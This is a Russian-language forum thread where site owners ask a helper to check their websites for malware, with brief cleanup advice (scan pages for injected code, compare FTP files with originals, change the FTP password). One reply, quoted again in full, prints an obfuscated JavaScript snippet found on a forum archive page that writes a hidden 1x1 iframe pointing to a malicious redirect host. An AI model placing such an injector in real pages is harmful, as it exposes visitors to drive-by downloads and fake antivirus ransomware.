Проверить сайт на наличие вирусов, все просьбы о проверке оставляйте в этой теме

[Surok]

Здравствуйте, Уважаемые!
Не могли бы вы проверить хттп://prizolov.ru/
У меня аваст на некоторые страницы ругается...

 

[sergofun]

Surok, а на какие именно?

 

[akok]

Surok, пока ничего подозрительного не вижу. Можно скриншет с алертом и ссылку по которой происходит срабатывание антивируса.

 

[Surok]

akoK, Я всё скинула sergofun ... кажись нашли траблу)))

 

[vicik_SH]

Здравствуйте!
Проверьте плиз и мой сайт на вирус там скорей всего либо фрейм, скрипт или JS.
Вот сайт design-studio.at.ua

Заранее спс

 

[akok]

vicik_SH, необходимо больше информации. Сейчас я не вижу вредоносного кода.

Полезные сылки по вашему ресурсу.
1
2

Вечером попробую провести более глубокий анализ с тестовой машины.

 

[vicik_SH]

А если я пришлю Вам по АСЕ или по мылу HTML шаблон чтоб Вы проверили его или нет в нём вредоносного скрипта или JS файла, ато хочу поменять Дизайн а тут такое.
P.S - Когда ставлю тот шаблон то слева шрифт нормальный а с правой стороны во всех блоках он чуток "жирный"

 

[akok]

vicik_SH, хорошо.

akok<at>pisem.net с указанной ссылкой на тему. (at=@)

Добавлено через 2 часа 16 минут 47 секунд
vicik_SH, ответ отправил мылом.

 

[LVM]

Здравствуйте! проверьте пожалуйста на наличие вирусов ввв.fxstart-forum.org . Кажись там снова завелась зараза, которая редиректит на хттп://armadaneo.info/0/go.php?sid=2#post40889.

 

[akok]

LVM, мне не нравится архив.
хттп://fxstart-forum.org/archive/index.php
Там скрипт сидит

function uDfWq(BLguro){ var eOIFsZRRj=new Function("qvGoIEnN", "return 469763;");var eOIFsZRRj=new Function("qvGoIEnN", "return 469763;"); fff=op.split("648"); } 
document['w192r141i175t159121e'.replace(/[0-9]/g,'')]('<div id=ATDOE style="visibility:hidden;display:none">%22%3Ciframe width%3D1 height%3D1 border%3D0 frameborder%3D0 src%3D%22http%3A%2F%2Freklamma.com%2Fnewspost%2Fin.php%22%3E%3C%2Fiframe%3E</div>');function ZiQGVsmqK(bVDxhu){  fff.op.replace("950"); fff=op.split("312"); } 
document['w146r196i113t188141e'.replace(/[0-9]/g,'')](unescape(document.getElementById('ATDOE').innerHTML));function SPnr(IpIxeMN){ var ZbRAlZGt = document.getElementById('aZCkvrZq');window.eval();window.eval(); } 
function kNVR(rMQ){ window.eval(); fff.op.replace("966");window.eval(); } 
function SBGfrfR(ngt){  fff=op.split("752"); fff.op.replace("498");var mKINvwDi = document.getElementById('MAprkE'); }

Который редиректит на

http://****mma.com/newspost/in.php

Где сидит редирект на

http://***.com/news/index.php

Где находится, нечто зашифрованное
И не допускается заходить по ссылке два раза... редиректит http://www.google.ru/

Добавлено через 1 минуту 38 секунд
По второй ссылке класический антивирус вымогатель (я так и не смог его запустить на тестовой машине).

 

[LVM]

LVM, мне не нравится архив.
хттп://fxstart-forum.org/archive/index.php
Там скрипт сидит

function uDfWq(BLguro){ var eOIFsZRRj=new Function("qvGoIEnN", "return 469763;");var eOIFsZRRj=new Function("qvGoIEnN", "return 469763;"); fff=op.split("648"); } 
document['w192r141i175t159121e'.replace(/[0-9]/g,'')]('<div id=ATDOE style="visibility:hidden;display:none">%22%3Ciframe width%3D1 height%3D1 border%3D0 frameborder%3D0 src%3D%22http%3A%2F%2Freklamma.com%2Fnewspost%2Fin.php%22%3E%3C%2Fiframe%3E</div>');function ZiQGVsmqK(bVDxhu){  fff.op.replace("950"); fff=op.split("312"); } 
document['w146r196i113t188141e'.replace(/[0-9]/g,'')](unescape(document.getElementById('ATDOE').innerHTML));function SPnr(IpIxeMN){ var ZbRAlZGt = document.getElementById('aZCkvrZq');window.eval();window.eval(); } 
function kNVR(rMQ){ window.eval(); fff.op.replace("966");window.eval(); } 
function SBGfrfR(ngt){  fff=op.split("752"); fff.op.replace("498");var mKINvwDi = document.getElementById('MAprkE'); }

Который редиректит на

http://****mma.com/newspost/in.php

Где сидит редирект на

http://***.com/news/index.php

Где находится, нечто зашифрованное
И не допускается заходить по ссылке два раза... редиректит http://www.google.ru/

Добавлено через 1 минуту 38 секунд
По второй ссылке класический антивирус вымогатель (я так и не смог его запустить на тестовой машине).

Спасибо!!!

 

[araan515]

Здравствуйте, deleted спасибо!

 

[akok]

araan515, это специально веб мастер столько порно набросал?

Добавлено через 1 минуту 38 секунд
Прошу простить, но у меня нет желания разбирать сайт с подобным рекламным контентом.

Спасибо за понимание.

 

[posokhoff]

Добрый день! Помогите вылечить сайт ввв.mebellina.com
Аваст ругается на JS Downloader EX, на HTML:Illframe...
Что делать??? ЗАРАНЕЕ СПАСИБО

 

[akok]

В настоящее время сайт Mebellina.com находится в разработке.

posokhoff, остается поиск вставки "лишнего" кода в страницу. Антивирус Avast?

 

[posokhoff]

posokhoff, остается поиск вставки "лишнего" кода в страницу. Антивирус Avast?

Пришлось пока сменить главную страницу на сообщение о работах на сайте... Антивирус Аваст стоит. Вообще как лечатся сайты от вирусов? Какой-нибудь софт есть? Скрипты?

 

[akok]

Подходы стандартны.

Проверки html страницы на наличия "вкраплений"

Проверка файлов на FTP и сравнение с исходниками.

Ну а в начале обязательно сменить пароль на FTP (и больше не хранить его в файл менеджерах)

Добавлено через 48 секунд

Антивирус Аваст стоит.

Иногда ругается на рекламу.

 

[smartall]

Проверьте плиз сайт нттп smartall.ru KIS 9.0 ругается на Exploit.Win32.Pidief.cvy. Если реально есть то объясните как решить проблему ! буду благодарен !

 

[akok]

smartall, сейчас есть проблемы? На первый взгляд чисто.

 

[smartall]

smartall, сейчас есть проблемы? На первый взгляд чисто.

Вчера удалил код ucoz-top , ну там находил каспер другой вирус , а с эксплоитом почему то через раз выдает .